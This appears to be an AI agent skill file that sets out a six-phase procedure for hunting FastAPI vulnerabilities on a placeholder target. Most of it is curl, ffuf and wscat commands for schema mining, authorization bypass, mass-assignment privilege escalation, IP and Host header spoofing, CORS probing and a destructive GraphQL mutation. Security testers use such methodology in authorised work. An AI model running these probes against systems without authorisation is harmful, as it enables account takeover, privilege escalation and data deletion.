| name | hunt-fastapi |
| description | Hunt FastAPI-specific vulnerabilities: dependency injection gaps, Pydantic coercion, and OpenAPI mining. |
FastAPI Security Hunting
Hunt FastAPI-specific vulnerabilities in dependency injection authorization gaps, Pydantic model coercion and extra field exploitation, OpenAPI schema mining for hidden endpoints, and ASGI middleware bypasses. FastAPI's design — dependency injection for auth, Pydantic for validation, OpenAPI auto-generation — creates unique attack surface distinct from Flask or Django.
When to Use
- Target uses FastAPI (indicated by
/docs, /redoc, /openapi.json, or server: uvicorn).
- OpenAPI schema is publicly accessible.
- API uses dependency injection (
Depends) for authorization.
- WebSocket endpoints exist alongside REST API.
- Application uses Pydantic v1 or v2 for request validation.
Quick Detection
curl -sk "https://target.com/openapi.json" | jq '.info.title' 2>/dev/null
curl -sk "https://target.com/docs" -w "%{http_code}\n" -o /dev/null
curl -sk "https://target.com/redoc" -w "%{http_code}\n" -o /dev/null
Procedure
Phase 1 — OpenAPI Schema Mining
curl -sk "https://target.com/openapi.json" | jq '.paths | keys[]'
curl -sk "https://target.com/openapi.json" | jq '.paths | to_entries[] | select(.value.get != null and .value.get.security == []) | .key'
ffuf -u "https://target.com/api/FUZZ" \
-w /path/to/wordlist.txt \
-mc 200,401,403 \
-H "Accept: application/json"
Phase 2 — Dependency Injection Authorization Gaps
curl -sk "https://target.com/api/admin/users"
curl -sk "https://target.com/api/admin/users" \
-H "Authorization: Bearer INVALID_TOKEN"
for method in GET POST PUT PATCH DELETE; do
curl -sk -X "$method" "https://target.com/api/users/1" \
-w "$method — %{http_code}\n" -o /dev/null
done
curl -sk -X POST "https://target.com/api/orders" \
-H "Content-Type: application/json" \
-d '{"user_id":"VICTIM_ID","product":"test"}'
Phase 3 — Pydantic Model Exploitation
curl -sk -X POST "https://target.com/api/register" \
-H "Content-Type: application/json" \
-d '{"username":"test","is_admin":"true"}'
curl -sk -X POST "https://target.com/api/users" \
-H "Content-Type: application/json" \
-d '{"username":"test","role":"admin"}'
curl -sk -X POST "https://target.com/api/users" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'username=test&role=admin&is_superuser=true'
Phase 4 — ASGI Middleware & Proxy Trust
curl -sk "https://target.com/api/me" \
-H "X-Forwarded-For: 127.0.0.1" \
-H "X-Real-IP: 127.0.0.1"
curl -sk "https://target.com/api/health" \
-H "Host: evil.com"
curl -sk -X OPTIONS "https://target.com/api/users" \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: DELETE"
Phase 5 — WebSocket Auth Parity
wscat -c "wss://target.com/ws/notifications"
wscat -c "wss://target.com/ws/admin" -H "Authorization: Bearer USER_TOKEN"
wscat -c "wss://target.com/subapp/ws"
Phase 6 — GraphQL Mount Authorization Gaps
curl -sk -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name } } }"}'
curl -sk -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"mutation { deleteUser(id: 1) { success } }"}'
Pitfalls
- Pydantic v2
model_config with extra='ignore' silently drops unknown fields. Test both Pydantic v1 and v2 behavior.
- OpenAPI schema may be restricted. If
/openapi.json returns 403, try /docs and /redoc which serve the same data.
- FastAPI Depends with
Security is NOT the same as Depends. Security integrates with OpenAPI security schemes — but both can be misconfigured.
- Uvicorn
--proxy-headers must be enabled for IP spoofing to work. Check with X-Forwarded-For — if the server sees your real IP, proxy headers are disabled.
Verification
- OpenAPI schema reveals endpoints not documented in the public API docs.
- An endpoint with
Depends(get_current_user) accepts requests without any Authorization header.
- Pydantic type coercion accepts string values for boolean/integer fields and persists them.
- WebSocket endpoint accepts connections without session authentication while the REST equivalent requires it.
Related Skills
hunt-api-misconfig — Broader API configuration issues including Swagger/OpenAPI exposure.
hunt-idor — Object-level authorization gaps in FastAPI path parameters.
web-enumeration — Directory and endpoint discovery through OpenAPI schema mining.